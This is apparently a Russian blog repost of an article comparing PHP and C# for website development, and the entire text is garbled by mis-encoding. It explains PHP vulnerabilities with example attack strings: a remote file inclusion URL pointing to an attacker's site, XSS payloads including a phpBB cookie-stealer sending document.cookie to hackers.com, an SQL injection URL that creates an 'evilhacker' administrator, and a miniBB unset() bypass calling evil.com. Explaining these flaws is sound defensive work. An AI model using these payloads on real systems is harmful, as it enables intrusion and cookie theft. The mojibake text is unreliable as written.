-Öèòàòíèê

Ôàëüñèôèêàöèè âûáîðîâ ïðåçèäåíòà: êàê ýòî äåëàåòñÿ - (0)

Ôàëüñèôèêàöèè âûáîðîâ ïðåçèäåíòà: êàê ýòî äåëàåòñÿ Íå ñìîòðÿ íà îãðîìíîå êîëè÷åñòâî íàðóøåíèé ...

ÀËÛÅ ÏÀÐÓÑÀ Â ÏÅÒÅÐÁÓÐÃÅ - (0)

«Àëûå ïàðóñà» — îäèí èç ñàìûõ èçâåñòíûõ ïðàçäíèêîâ â Ñåâåðíîé ñòîëèöå, ...

Âëàäèìèð Ðóìÿíöåâ.Àíãåëû è êîòû - (0)

Âëàäèìèð Ðóìÿíöåâ.Àíãåëû è êîòû. Âëàäèìèð Ðóìÿíöåâ ðîäèëñÿ â 1957 ãîäó, ðèñîâàòü íà÷àë â ...

ôîòî Ñàíêò-Ïåòåðáóðãà - (0)

Ñàíêò-Ïåòåðáóðã Ñàíêò-Ïåòåðáóðã íåâåðîÿòíî êðàñèâûé ãîðîä, äóìàþ äàæå êîðåííûì "ïèòåðöàì" áóäåò è...

Áëèæíåâîñòî÷íàÿ ïðîáëåìà - ïðîñòîå îáúÿñíåíèå çà ïÿòü ìèíóò - (0)

Áëèæíåâîñòî÷íàÿ ïðîáëåìà - ïðîñòîå îáúÿñíåíèå çà ïÿòü ìèíóò  ïðîñòîå îáúÿñíåíèå áëèæíåâîñòî÷...

 -Ôîòîàëüáîì

Ïîñìîòðåòü âñå ôîòîãðàôèè ñåðèè ïðèðîäà ôîòî Andy Mumford
ïðèðîäà ôîòî Andy Mumford
05:54 16.05.2009
Ôîòîãðàôèé: 40
Ïîñìîòðåòü âñå ôîòîãðàôèè ñåðèè Îáùàÿ
Îáùàÿ
04:52 16.05.2009
Ôîòîãðàôèé: 1
Ïîñìîòðåòü âñå ôîòîãðàôèè ñåðèè ïîçèòèô
ïîçèòèô
03:00 01.01.1970
Ôîòîãðàôèé: 0

 -ß - ôîòîãðàô

 -Ïîèñê ïî äíåâíèêó

Ïîèñê ñîîáùåíèé â spacesite

 -Ïîäïèñêà ïî e-mail

 

 -Èíòåðåñû

ñîçäàíèå ñàéòà ïðîäâèæåíèå ñàéòîâ àâòî áèçíåñ

 -Ñîîáùåñòâà

×èòàòåëü ñîîáùåñòâ (Âñåãî â ñïèñêå: 1) Photoshopinka

 -Ñòàòèñòèêà

Ñòàòèñòèêà LiveInternet.ru: ïîêàçàíî êîëè÷åñòâî õèòîâ è ïîñåòèòåëåé
Ñîçäàí: 15.05.2009
Çàïèñåé:
Êîììåíòàðèåâ:
Íàïèñàíî: 1213


Ðàçðàáîòêà ñàéòà íà PHP èëè íà C#. ×òî âûáðàòü?

Âîñêðåñåíüå, 06 Èþíÿ 2010 ã. 19:15 + â öèòàòíèê

Âñå, íà÷èíàÿ îò ïðîñòûõ ïîëüçîâàòåëåé, çàêàí÷èâàÿ äèðåêòîðàìè êðóïíûõ ïðåäïðèÿòèé, õîðîøî ïîíèìàþò, ÷òî íàñòóïëåíèå Internet íà ïîâñåäíåâíóþ æèçíü íåèçáåæíî. È î÷åíü íåìíîãèå îðãàíèçàöèè åùå íå èìåþò èëè, êàê ìèíèìóì, íå çàäóìûâàëèñü èìåòü ñâîþ ñòðàíè÷êó âî âñåìèðíîé ñåòè. È êàæäûé, êòî îòâàæèëñÿ íà ýòîò âûíóæäåííûé øàã, ñòàíîâèòñÿ ïåðåä âûáîðîì: ñäåëàòü ñòàòè÷íóþ, íèêîìó íåèíòåðåñíóþ ñòðàíèöó, èëè æå ñîçäàòü ñàéò  - äîñòîéíûé, èíòåðàêòèâíûé ñ äèíàìè÷åñêèì ñîäåðæèìûì.

Åñëè âû äåëàåòå âûáîð â ïîëüçó äèíàìè÷íîñòè, òî âû ñòàíåòå ïåðåä âûáîðîì íîìåð äâà: êòî è êàê áóäåò ïèñàòü ïðîãðàììíóþ ñîñòàâëÿþùóþ ïðîåêòà?

Äîâîëüíî ÷àñòî íà âûáîð ñêðèïòîâ äëÿ ñàéòà âëèÿåò èõ äîñòóïíîñòü, ïîïóëÿðíîñòü è... áåñïëàòíîñòü (èëè öåíîâàÿ ïîëèòèêà ïðîèçâîäèòåëÿ). Îäíàêî, â îñíîâó ñâîåãî âûáîðà íàðÿäó ñ âíåøíèì óäîáñòâîì èñïîëüçîâàíèÿ è ïîïóëÿðíîñòüþ íåîáõîäèìî ïîñòàâèòü è åùå îäèí íåìàëîâàæíûé ôàêòîð: áåçîïàñíîñòü.

Âïðî÷åì, åñëè âàø ñàéò ïðåäñòàâëÿåò ñîáîé íå÷òî íå èìåþùåå îñîáîé ïðèâëåêàòåëüíîñòè äëÿ õàêåðîâ, òîãäà âàì íå÷åãî îïàñàòüñÿ… êðîìå òîãî, ÷òî â îäèí ïàñìóðíûé äåíü, çàéäÿ íà ñâîå äåòèùå, âû óâèäèòå íà ãëàâíîé ñòðàíèöå ñîâåðøåííî íå òî, ÷òî âû òàì ðàçìåñòèëè.

ßçûê PHP ñòàë î÷åíü ïîïóëÿðíûì äëÿ íàïèñàíèÿ web ïðèëîæåíèé, ñîçäàíèÿ äèíàìè÷åñêèõ ñòðàíèö, óïðàâëåíèÿ ñîäåðæèìûì ñàéòîâ. Ïðè÷èí òîìó ìíîæåñòâî, íî â ïåðâóþ î÷åðåäü, ýòî ïðîñòîòà ñàìîãî ÿçûêà ïðîãðàììèðîâàíèÿ, ïðîñòîòà èñïîëüçîâàíèÿ ñêðèïòîâ, ïîääåðæêà èíòåðïðåòàòîðà PHP ïîïóëÿðíûìè web ñåðâåðàìè, îòêðûòîñòü êîäà. Âïðî÷åì, ïîñëåäíåå ìîæåò áûòü äîñòàòî÷íî óñëîâíûì è ïðèìåíèìî â áîëüøåé ñòåïåíè ê ñàìîìó èíòåðïðåòàòîðó.

Íî, ãëÿäÿ íà âñå óêàçàííûå ïðåèìóùåñòâà è ïîïóëÿðíîñòü, ñëåäóåò ïîäóìàòü îá îäíîì: ïî÷åìó òà æå ñòàòèñòèêà ãîâîðèò, ÷òî îêîëî 80% (åñëè íå áîëüøå) âñåõ âçëîìîâ â ñåòè ïðîèñõîäèò ñ èñïîëüçîâàíèåì íåäî÷åòîâ â PHP ñêðèïòàõ, è, â ïåðâóþ î÷åðåäü, ñêðèïòàõ áåñïëàòíûõ.

Êîíå÷íî æå, áåñïëàòíîñòü è îòêðûòîñòü ïîäðàçóìåâàåò íå òîëüêî ïîïóëÿðíîñòü ó ïîëüçîâàòåëåé, íî è ó èññëåäîâàòåëåé êîäà, íàìåðåíèÿ êîòîðûõ ìîãóò áûòü ñàìûìè ðàçíîîáðàçíûìè. Òàê ÷òî, çà ïîïóëÿðíîñòü âñåãäà ïðèõîäèòñÿ ïëàòèòü: ëèáî çà ñàì ïðîäóêò — ïðîãðàììèñòàì âûñîêîãî óðîâíÿ ïðîôåññèîíàëèçìà (à ýòî íå âñåãäà ñïàñàåò, êàê ìû óâèäèì äàëåå), ëèáî ïîñòîÿííûìè îïàñåíèÿìè òîãî, ÷òî âàø ñàéò ìîæåò ñòàòü î÷åðåäíîé æåðòâîé âçëîìà.

Âñå æå, ïðåæäå ÷åì ãîâîðèòü î ïóòÿõ ðåøåíèÿ ïðîáëåì, äàâàéòå îñòàíîâèìñÿ íà ñàìèõ ïðîáëåìàõ ïîäðîáíåå.

Îøèáêè ïðîãðàììèñòîâ èëè êàðìà?

Ïî áîëüøîìó ñ÷åòó, âñå îøèáêè ïðîãðàììèñòîâ ñâîäÿòñÿ ê òîìó, ÷òî ïåðåìåííûå, êîòîðûå ïîëüçîâàòåëü ìîæåò îïðåäåëèòü (èëè ïåðåîïðåäåëèòü), ïðîõîäÿò íåäîñòàòî÷íóþ ôèëüòðàöèþ. Òàê, ê ïðèìåðó, åñëè â ôóíêöèþ eval() ïåðåäàåòñÿ ñòðîêà äàííûõ, îäèí êîìïîíåíò êîòîðîé îïðåäåëÿåòñÿ ïîëüçîâàòåëåì, òî ÷òî ìåøàåò ýòîìó ïîëüçîâàòåëþ ñôîðìèðîâàòü ïåðåäàâàåìûå äàííûå òàêèì îáðàçîì, ÷òî áû â ðåçóëüòàòå âûïîëíèëñÿ íóæíûé åìó êîä PHP?

.include

Ñàìîé «çëîé» îøèáêîé ïðîãðàììèñòîâ PHP íåñêîëüêî ëåò ñ÷èòàåòñÿ ò.í. include bug. Îòñóòñòâèå äîñòàòî÷íîé ôèëüòðàöèè ïåðåìåííûõ, ïåðåäàâàåìûõ â êà÷åñòâå ïàðàìåòðà â ôóíêöèè òèïà include() ìîãóò ïðèâåñòè (ïðè áëàãîïðèÿòíûõ óñëîâèÿõ) ê âíåäðåíèþ ïðîèçâîëüíîãî êîäà â ïðîãðàììó. Ðåçóëüòàò – êîìïðîìåòàöèÿ ñèñòåìû.

Ïðàâäà, åñòü íåñêîëüêî îãðàíè÷èâàþùèõ ýòó óÿçâèìîñòü óñëîâèé:

  • äëÿ âêëþ÷åíèÿ óäàëåííîãî ôàéëà – ñîîòâåòñòâóþùàÿ êîíôèãóðàöèÿ èíòåðïðåòàòîðà,
  • èíîãäà – âêëþ÷åííûå register_globals.

Âïðî÷åì, âñå ýòî äîâîëüíî ÷àñòî âñòðå÷àåòñÿ è ïîíûíå íà ìàññîâûõ õîñòèíãàõ.

Íåêîòîðîå âðåìÿ íàçàä ìíå ïðèøëîñü âñòðåòèòü ñàéò, âèäèìî ñàìîïèñíûé, ãäå íàâèãàöèÿ ïî ñòðàíèöàì ïðåäñòàâëÿëà ñîáîé íå÷òî âèäà:

index.php?page=contacts.php

Äàæå íå ñòîèò ñîìíåâàòüñÿ, ÷òî íà ýòîì ñàéòå ñðàáîòàëî óäàëåííîå âêëþ÷åíèå ôàéëà. Äèíîçàâðû íå âûìåðëè!

Ýòà óÿçâèìîñòü â òîé èëè èíîé ôîðìå ÿâëÿåòñÿ õèòîì ñðåäè óÿçâèìîñòåé è âûïóñêàåìûõ õàêåðàìè ýêñïëîèòîâ è ñåé÷àñ: 50 èç 69 ýêñïëîèòîâ äëÿ web ïðèëîæåíèé, îïóáëèêîâàííûõ íà milw0rm.org â èþëå 2006 ã., èñïîëüçîâàëè èìåííî óÿçâèìîñòü âêëþ÷åíèÿ ôàéëîâ.

Ñâåæèé ïðèìåð. Õîðîøèé, êà÷åñòâåííî ñäåëàííûé ïîðòàë mambo òåì íå ìåíåå ïåñòðèò îøèáêàìè ïðîãðàììèñòîâ íà ïóáëè÷íûõ äîñêàõ ñåòè, ïóáëèêóþùèõ ñâåæèå óÿçâèìîñòè. Î÷åðåäíàÿ óÿçâèìîñòü áûëà íàéäåíà â ôàéëå admin.cropcanvas.php êîìïîíåíòà com_cropimage 1.0.  7-é ñòðîêå åñòü íåçàìûñëîâàòûé êîä:

require_once $cropimagedir."class.cropinterface.php";

Ñîîòâåòñòâåííî, åñëè register_globals âêëþ÷åíû â ini ôàéëå, òî õàêåð ìîæåò ïåðåäàòü ïåðåìåííóþ cropimagedir â GET èëè äðóãîì çàïðîñå, íàïðèìåð:

http://[óÿçâèìûé_ñàéò]/[ïóòü_ê_ïîðòàëó]/administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=http://[ñàéò_õàêåðà]

ïðåäâàðèòåëüíî ïîìåñòèâ íà [ñàéòå_õàêåðà] ôàéë class.cropinterface.php ñ íóæíûì åìó êîäîì.

.XSS

Äîâîëüíî ïîïóëÿðíàÿ óÿçâèìîñòü, çíà÷åíèå êîòîðîé ÷àñòî íåäîîöåíèâàåòñÿ – óÿçâèìîñòü «ìåæñàéòîâîãî ñêðèïòèíãà» (cross site scripting). Ïîïóëÿðíîñòü åå îáóñëîâëåíà â ïåðâóþ î÷åðåäü ñëîæíîñòüþ ïðîâåäåíèÿ âñåõ âîçìîæíûõ ïðîâåðîê ïåðåäàâàåìûõ äàííûõ íà ïðåäìåò âíåäðåíèÿ êîäà, êîòîðûé ìîæåò áûòü âûïîëíåí â êîíòåêñòå ðàçëè÷íûõ áðîóçåðîâ.

Ñóòü óÿçâèìîñòè, êàê âû óæå ìîãëè äîãàäàòüñÿ, çàêëþ÷àåòñÿ â òîì, ÷òî ïîëüçîâàòåëü ñî çëûì óìûñëîì ìîæåò ïåðåäàòü äàííûå ñåðâåðó èëè äðóãîìó ïîëüçîâàòåëþ (íàïð., ñïåöèàëüíûì îáðàçîì ñôîðìèðîâàííûé URL), êîòîðûå ìîãóò âûçâàòü èñêàæåíèå èíôîðìàöèè, îòîáðàæàåìîé íà ñòðàíèöå. Îáû÷íî ýòî õàðàêòåðíî äëÿ ëþáûõ ñêðèïòîâ, ãäå òàê èëè èíà÷å ðàçðåøåíû âñòàâêè òåãîâ.

Ñàìûé áàíàëüíûé ïðèìåð, êîãäà äàííûå èç URL ïåðåäàþòñÿ áåç î÷èñòêè «êàê åñòü» â html êîä ñòðàíèöû, ÷òî ìû ìîæåì íàáëþäàòü â phpCommunityCalendar 4.0.3. Òàê, ñëåäóþùèé çàïðîñ ïðèâåäåò ê âûïîëíåíèþ java script êîäà alert(‘XSS’), â ðåçóëüòàòå ÷åãî ïîëüçîâàòåëü óâèäèò îêîøêî ïðåäóïðåæäåíèÿ ñ íàäïèñüþ “XSS”:

http://[óÿçâèìûé_ñàéò]/[ïóòü_ê_ñêðèïòó]/week.php?LoName=<script>alert('XSS')</script>

Ñëåäóþùèé íåìóäðåíûé ïðèìåð èìååò óæå ÷èñòî ïðàêòè÷åñêîå çíà÷åíèå äëÿ õàêåðà.  ìàå 2006 ã. áûëè îïóáëèêîâàíû äàííûå î òîì, ÷òî åñëè â èçâåñòíîì ôîðóìå phpBB âåðñèè äî 2.0.19 ðàçðåøåíû âñòàâêè html êîäîâ, òî èìåëàñü âîçìîæíîñòü âíåäðèòü çëîíàìåðåííûé java script êîä, êîòîðûé áû âîðîâàë cookie ïîëüçîâàòåëåé:

<pre a='>' onmouseover='document.location="http://hackers.com/cookie_stealer.php?c="+document.cookie' b='<pre' > http://www.somesite.com/</pre>

Ðàçóìååòñÿ, ÷òî ïóñòü http://hackers.com/cookie_stealer.php âçÿò ñîâåðøåííî ïðîèçâîëüíî è äîëæåí óêàçûâàòü íà ðåàëüíûé ñêðèïò, êîòîðûé áóäåò êîëëåêöèîíèðîâàòü äàííûå èç cookie ïîïàâøèõñÿ íà ýòó ïðèìàíêó ïîëüçîâàòåëåé ôîðóìà. Ñîîòâåòñòâåííî, âàðèàöèé âíåäðåíèÿ êîäà â äàííîì ñëó÷àå ìîæåò áûòü ìàññà.

.SQL injection

Âòîðàÿ ïî ïîïóëÿðíîñòè óÿçâèìîñòü PHP ñêðèïòîâ – âíåäðåíèå SQL êîäà.

Êàê íåñëîæíî äîãàäàòüñÿ, óÿçâèìîñòü õàðàêòåðíà äëÿ ïðèëîæåíèé, èñïîëüçóþùèõ áàçû äàííûõ SQL. Ñóòü óÿçâèìîñòè çàêëþ÷àåòñÿ â òîì, ÷òî äàííûå èç çàïðîñà ïîëüçîâàòåëÿ ïîñòóïàþò íåïîñðåäñòâåííî (èëè ïîñëå îïðåäåëåííîé îáðàáîòêè) â SQL çàïðîñ. Ñîîòâåòñòâåííî, íåäîñòàòî÷íàÿ ôèëüòðàöèÿ ìîæåò ñòàòü ïðè÷èíîé ìàíèïóëèðîâàíèÿ SQL çàïðîñàìè. Êàêîé çàïðîñ ìîæåò èìåòü ìåñòî? Âñå çàâèñèò îò îãðàíè÷èâàþùèõ óñëîâèé, íàêëàäûâàåìûõ ôèëüòðàöèåé ïåðåìåííûõ, è ôàíòàçèè õàêåðà. Âîçüìåì îäèí èç ñâåæèõ ïðèìåðîâ. Óÿçâèìîñòü â ïðèëîæåíèè proManager v.0.73, êîòîðîå ðàñïðîñòðàíÿåòñÿ ñ îòêðûòûì êîäîì. Ïðèìåð çàïðîñà, êîòîðûé ñîçäàåò íîâîãî àäìèíèñòðàòîðà ïðîåêòà c èìåíåì evilhacker è ïàðîëåì neverhack:

http://www.site.com/note.php?note_id=-1%20INSERT%20INTO%20users%20(id.username.password.name.email.can_add_user)%20values%20(1.evilhacker.neverhack.evilhacker.evilhacker@newmailserver.com.1)/*

Òàêèì îáðàçîì, îñíîâíûì íåäîñòàòêîì ïðèëîæåíèé íà PHP ñ îòêðûòûì êîäîì ÿâëÿåòñÿ äîñòóïíîñòü (ò.å. êàê-ðàç ñàìà îòêðûòîñòü) êîäà äëÿ ïûòëèâûõ óìîâ õàêåðîâ. È, ïîâåðüòå, íå âñåãäà õàêåðû âûêëàäûâàþò ñâîè íàðàáîòêè íà áàã-òðåê ëåíòû è, óæ òåì áîëåå, íå âñåãäà ñïåðâà ïðåäóïðåæäàþò î íàéäåííûõ îøèáêàõ ðàçðàáîò÷èêà. Ïðèìåðîì òîìó ìîãóò ñëóæèòü âçëîìû ñàéòîâ ðàçðàáîò÷èêîâ èçâåñòíûõ ñêðèïòîâ ôîðóìîâ phpBB è Invision Power.

Êàðìà èëè îøèáêè ðàçðàáîò÷èêà?

Èòàê, ñ îäíîé ñòîðîíû ìîæíî ïîäóìàòü, ÷òî êîðåíü âñåõ çîë â íåêîìïåòåíòíîñòè ðàçðàáîò÷èêîâ ïðîãðàììíîãî êîäà ñêðèïòîâ. Èëè, ïî êðàéíåé ìåðå, â èõ íåîñâåäîìëåííîñòè â ìåòîäàõ õàêåðñêèõ àòàê. Êîíå÷íî, íà ïðîãðàììèñòàõ ëåæèò áîëüøàÿ îòâåòñòâåííîñòü çà ôàòàëüíûå îøèáêè, íî è îíè íå âñåãäà ìîãóò ïðåäóñìîòðåòü îäèí àñïåêò!

Íåíàäîëãî âåðíåìñÿ ê àòàêàì êëàññà SQL èíúåêöèé.

Îäíîé èç ôóíêöèé, êîòîðàÿ ïîçâîëÿåò ïðîèçâåñòè ôèëüòðàöèþ è ýêðàíèðîâàíèå âñåõ îïàñíûõ äëÿ SQL çàïðîñà ñèìâîëîâ, ÿâëÿåòñÿ ôóíêöèÿ PHP mysql_real_escape_string (õîòÿ, íà ñàìîì äåëå, ýòî ñêîðåå ôóíêöèÿ MySQL ñâÿçàííàÿ ñ PHP). Íî íå òàê äàâíî áûëà îáíàðóæåíà îøèáêà â áàçàõ äàííûõ MySQL, êîòîðàÿ ïîçâîëÿëà îáîéòè ôèëüòðàöèþ ýòîé ôóíêöèè ñ èñïîëüçîâàíèåì ìóëüòèáàéòîâîé êîäèðîâêè (íàïðèìåð UTF-16). È âñå ïðèëîæåíèÿ, èñïîëüçóþùèå ýòó (êàê è íåêîòîðûå äðóãèå ôóíêöèè ýêðàíèðîâàíèÿ âðåäîíîñíûõ ñèìâîëîâ) ñòàíîâèëèñü íåçàùèùåííûìè ïåðåä õèòðîóìíûìè âçëîìùèêàìè, êîòîðûå îáëàäàëè èñõîäíûìè êîäàìè ïðèëîæåíèé (áóäåì ëè ìû ãàäàòü, ÷òî ñëó÷èëîñü áû, åñëè áû ó âçëîìùèêîâ ýòèõ ñàìûõ îòêðûòûõ êîäîâ íå áûëî?).

Çàìåòèì îäíàêî, ÷òî ýòî íå ïåðâàÿ è, óæ òåì áîëåå, íå åäèíñòâåííàÿ îøèáêà ðàçðàáîò÷èêîâ ïîïóëÿðíûõ ïëàòôîðì äëÿ õðàíåíèÿ áàç äàííûõ è ÿçûêîâ ïðîãðàììèðîâàíèÿ. Íî, ìû ãîâîðèì ñåãîäíÿ òîëüêî î PHP.

 êîíöå ïðîøëîãî ãîäà ïîÿâèëèñü íîâîñòè îá óÿçâèìîñòè, êîòîðàÿ ïîçâîëÿåò ïåðåïèñàòü äàííûå ìàññèâà $GLOBALS. ×åì ýòî ãðîçèò ïîëüçîâàòåëÿì ïðèëîæåíèé ñ îòêðûòûì êîäîì? Äåëî â òîì, ÷òî â PHP åñòü íåñêîëüêî ãëîáàëüíûõ ìàññèâîâ, êîòîðûå õðàíÿò äàííûå, ïåðåäàâàåìûå ïîëüçîâàòåëåì: _GET, _POST, _COOKIE, _FILES. Ìàññèâ $GLOBALS îòëè÷àåòñÿ îò äðóãèõ òåì, ÷òî ÷åðåç íåãî ìîæíî ïîëó÷èòü äîñòóï ê ëþáûì ãëîáàëüíûì ïåðåìåííûì. Ò.î., èñïîëüçóÿ ýòó óÿçâèìîñòü, õàêåð ìîã ïåðåïèñàòü ãëîáàëüíûå ïåðåìåííûå (äàæå èíèöèàëèçèðîâàííûå â ñàìîì ñêðèïòå) è ïîëó÷èòü äîñòóï ê èñïîëíåíèþ íóæíîãî êîäà â ñèñòåìå, íàïðèìåð, èñïîëüçóÿ óæå îïèñûâàâøóþñÿ ñèòóàöèþ ñ include bug. Ïåðåçàïèñü ïåðåìåííûõ ìàññèâà $GLOBALS ìîãëà áûòü îñóùåñòâëåíà òåì èëè èíûì ñïîñîáîì (÷åðåç ñóïåðãëîáàëüíûå ìàññèâû _GET, _POST èëè ÷åðåç ìàññèâ çàãðóæàåìûõ ôàéëîâ - _FILES) â çàâèñèìîñòè îò âåðñèè PHP. Îøèáêà áûëà íàñòîëüêî îïàñíîé, ÷òî ìíîãèå èçâåñòíûå ðàçðàáîò÷èêè ïðèëîæåíèé ñ îòêðûòûì èëè çàêðûòûì êîäîì ñòàëè âûïóñêàòü ñðàçó æå íîâûå âåðñèè ñâîèõ ïðîãðàìì, êîòîðûå ïåðåä âûïîëíåíèåì âàæíûõ ôóíêöèé ïðîâîäèëè ïðîâåðêó âõîäÿùèõ äàííûõ íà ïåðåìåííûå $GLOBALS, äóáëèðóþùèåñÿ â äðóãèõ ãëîáàëüíûõ ìàññèâàõ.

Íåèçâåñòíî ñêîëüêî æåðòâ áûëî ñðåäè ïîëüçîâàòåëåé è ïðîèçâîäèòåëåé ïîñëå ïóáëèêàöèè óÿçâèìîñòè ïåðåçàïèñè $GLOBALS, íî âîò â ÿíâàðå 2006ã. áûëà íàéäåíà åùå îäíà èíòåðåñíàÿ îñîáåííîñòü â îñíîâå PHP èíòåðïðåòàòîðà – zend engine. Áîëåå øåñòè ìåñÿöåâ ïîíàäîáèëîñü ðàçðàáîò÷èêàì PHP, ÷òîá èñïðàâèòü ýòó óÿçâèìîñòü, ñóòü êîòîðîé â äâóõ ñëîâàõ çàêëþ÷àåòñÿ â ñëåäóþùåì. PHP ïîâñåìåñòíî èñïîëüçóåò òàáëèöó õåøåé Zend’à, íàïðèìåð äëÿ õðàíåíèÿ óêàçàòåëåé íà ïîòîêè, ïåðåäàâàåìûå äàííûå. Áîëåå òîãî, ìàññèâ òèïîâ äàííûõ è ãëîáàëüíàÿ òàáëèöà ñèìâîëîâ ïðåäñòàâëÿþò íè ÷òî èíîå êàê õåø òàáëèöó. Ôóíêöèÿ unset() èñïîëüçóåò õåø òàáëèöû äëÿ î÷èñòêè çíà÷åíèÿ äîñòóïíîé ïåðåìåííîé. Ïîèñê â òàáëèöå ïðîèçâîäèòñÿ ïî èíäåêñó, ïðè ÷åì äîìèíèðóþùèì ÿâëÿåòñÿ öèôðîâîé, à íå áóêâåííî-öèôðîâîé èíäåêñ. Ò.î., unset óäàëèò â ïåðâóþ î÷åðåäü òî, ÷òî áóäåò ñîîòâåòñòâîâàòü öèôðîâîìó èíäåêñó. Íî ÷òî áóäåò, åñëè èìÿ ïåðåìåííîé îáëàäàåò ýêâèâàëåíòîì öèôðîâîãî õåøà äðóãîé ïåðåìåííîé?  òàêîì ñëó÷àå, åñëè unset áóäåò ïåðåäàíî èìÿ ýòîé âòîðîé ïåðåìåííîé, òî óäàëèòñÿ íå îíà, à ïåðåìåííàÿ ñ èìåíåì, ðàâíûì öèôðîâîìó õåøó.

Íå ïîíÿòíî? Òîãäà âîçüìåì ïðèìåð. Ôóíêöèÿ unset() èíîãäà èñïîëüçóåòñÿ ðàçðàáîò÷èêàìè ñêðèïòîâ äëÿ áûñòðîé ôèêñàöèè íåêîòîðûõ óÿçâèìîñòåé, ÷òî è èìåëî ìåñòî, íàïðèìåð, â äîâîëüíî ïîïóëÿðíîì ñêðèïòå ôîðóìà miniBB. Ðàçðàáîò÷èêè ñäåëàëè çàïëàòêó, ïî èõ ìíåíèþ ôèêñèðóþùóþ óÿçâèìîñòü «èíêëóäà» ÷åðåç ïåðåìåííóþ includeHeader, ïðîïèñàâ â íà÷àëå óÿçâèìîãî êîäà ôóíêöèþ unset($includeHeader). Âñå áû áûëî íè÷åãî, åñëè áû íå íàéäåííàÿ óÿçâèìîñòü, êàñàþùàÿñÿ ýòîé ôóíêöèè. Äëÿ òîãî, ÷òîá çàïëàòêà íå èìåëà ñìûñëà ïåðåä ìûñëüþ âçëîìùèêà, äîñòàòî÷íî â çàïðîñå GET ïåðåäàòü ïåðåìåííóþ ñ èìåíåì, êîòîðîå ñîîòâåòñòâóåò öèôðîâîìó õåøó-èíäåêñó ïåðåìåííîé includeHeader.  ðåçóëüòàòå, ìû ìîæåì òàê æå êàê è ðàíüøå èñïîëüçîâàòü ôóíêöèþ include() äëÿ âíåäðåíèÿ óäàëåííîãî ñêðèïòà ñ íóæíûì íàì êîäîì:

http://site.com/index.php?includeHeader=http://www.evil.com/?&-269001946=1&-834358190=1

 ïðèìåðå óêàçàíû èíäåêñû äëÿ îáîèõ âåðñèé PHP (4 è 5).

Íåêîòîðûå ðàçìûøëåíèÿ

Èòàê, ÷òî æå äåëàòü? Èñïîëüçîâàòü ëè ñêðèïòû, íàïèñàííûå íà PHP äëÿ ñåðüåçíûõ ïðîåêòîâ? Ïî÷åìó áû è íåò? Ïî êðàéíåé ìåðå, íå âñå âåäü ïðîãðàììèñòû âûêëàäûâàþò êîä äëÿ âñåîáùåãî îáîçðåíèÿ. Åñòü íåêîòîðûå âàðèàíòû øèôðîâàíèÿ èñõîäíîãî êîäà, õîòÿ è îíè íå íà 100% îáåñïå÷èâàþò îò åãî ðàñêðûòèÿ. Íî, êàê áû òàì íè áûëî, «íåîòêðûòûé» êîä ïðîåêòîâ ñòàâèò îïðåäåëåííûå òðóäíîñòè äëÿ âçëîìùèêà, êîòîðûõ ìîæåò îí íå âñòðåòèòü ïåðåä âçëîìîì ñêðèïòîâ îáùåãî äîñòóïà.

 ëþáîì ñëó÷àå, ìû ìîæåì ïîðåêîìåíäîâàòü îáðàòèòü âíèìàíèå íà ïðèâåäåííóþ íàìè èíôîðìàöèþ, è òùàòåëüíî ïîäõîäèòü ê âîïðîñó âûáîðà ðàçðàáîò÷èêà ïðèëîæåíèé äëÿ ñâîåãî ïðîåêòà. Íå ïðåíåáðåãàòü òðåáîâàíèÿìè áåçîïàñíîñòè, åñëè âàì âàæåí èìèäæ ïðîåêòà. È, êîíå÷íî æå, ïîëàãàòüñÿ áîëüøå íà àâòîðîâ, êîòîðûå ðàáîòàþò íå íà ïóáëèêó, à íà ñåáÿ, ïîòîìó ÷òî èì áîëåå âàæíà áåçîïàñíîñòü êëèåíòîâ, ïîñêîëüêó îò ýòîãî çàâèñèò èõ ðàáîòà, à çíà÷èò è ïðèáûëü.

À êàê íà àëüòåðíàòèâíûé âàðèàíò äëÿ web ðàçðàáîòîê ïðåäëàãàåì îáðàòèòü âíèìàíèå íà òåõíîëîãèþ .NET. Íå ãîâîðÿ î òîì, ÷òî ñàìà ïëàòôîðìà ÿâëÿåòñÿ ïðîäóêòîì ñ çàêðûòûì êîäîì, ÿçûê ïðîãðàììèðîâàíèÿ C# âêëþ÷àåò â ñåáÿ ïðåèìóùåñòâà ÿçûêîâ C++ è Java.

Äàëåå ìû ïðåäëàãàåì Âàì ïîñìîòðåòü íà íåêîòîðûå ïðåèìóùåñòâà ðàçðàáîòêè ñàéòà ñ èñïîëüçîâàíèåì ÿçûêà âûñîêîãî óðîâíÿ C# (÷èòàåòñÿ ñè øàðï).

Êîìïèëèðîâàíèå êîäà.

Íàïèñàííûé êîä ïðè ïåðâîì îáðàùåíèè êîìïèëèðóåòñÿ è âïîñëåäñòâèè âûïîëíÿåòñÿ óæå ñêîìïèëèðîâàííûé êîä, â îòëè÷èå îò PHP. Ýòî çàìåòíî óñêîðÿåò ðàáîòó ïðèëîæåíèé. Âåá-ñåðâåð ñàì âûïîëíÿåò êîìïèëÿöèþ. Åñëè âû çàìåíèëè èñõîäíèêè, ñåðâåð ñàì ïðè ïåðâîì îáðàùåíèè ê ñòðàíèöå ïðîâåäåò ïåðåêîìïèëÿöèþ, áåç âàøåãî âíèìàíèÿ.

Êîä âûïîëíÿåòñÿ áûñòðåå, çàíèìàåò ìåíüøå ðåñóðñîâ, è ïðè ýòîì ïðîöåññ ðàçðàáîòêè íå óñëîæíÿåòñÿ. Ñêîðåå íàîáîðîò, â ñëó÷àå îøèáêè âû ìîæåòå ïîëó÷èòü ïîëíûé ëèñòèíã êîìïèëÿòîðà, ñ ïîäðîáíûì îïèñàíèåì îøèáêè.

Îñíîâíûå õàðàêòåðèñòèêè ÿçûêà.

Ïðîãðàììèñò, ïðèâûêøèé ê ïëàòôîðìå Microsoft, ìîæåò ïðåäñòàâèòü ñåáå C# êàê ïðîìåæóòî÷íûé âàðèàíò ìåæäó C++ è Visual Basic, åñëè ðàññìàòðèâàòü ñëîæíîñòü ÿçûêîâûõ êîíñòðóêöèé è âîçìîæíîñòè ÿçûêà.

C# èìååò C ñòèëü ñèíòàêñèñà (äëÿ óïðàâëÿþùèõ êîíñòðóêöèé, áëîêîâ êîäà, îïèñàíèÿ ñèãíàòóðû ìåòîäîâ è äð.), ìíîãî îáùåãî ñ Java (îòñóòñòâèå ìíîæåñòâåííîãî íàñëåäîâàíèÿ è øàáëîíîâ, íàëè÷èå ñáîðùèêà ìóñîðà) è Äåëüôè (îðèåíòèðîâàííîñòü íà ñîçäàíèå êîìïîíåíò), â òî æå âðåìÿ èìååò è ñâîé êîëîðèò.

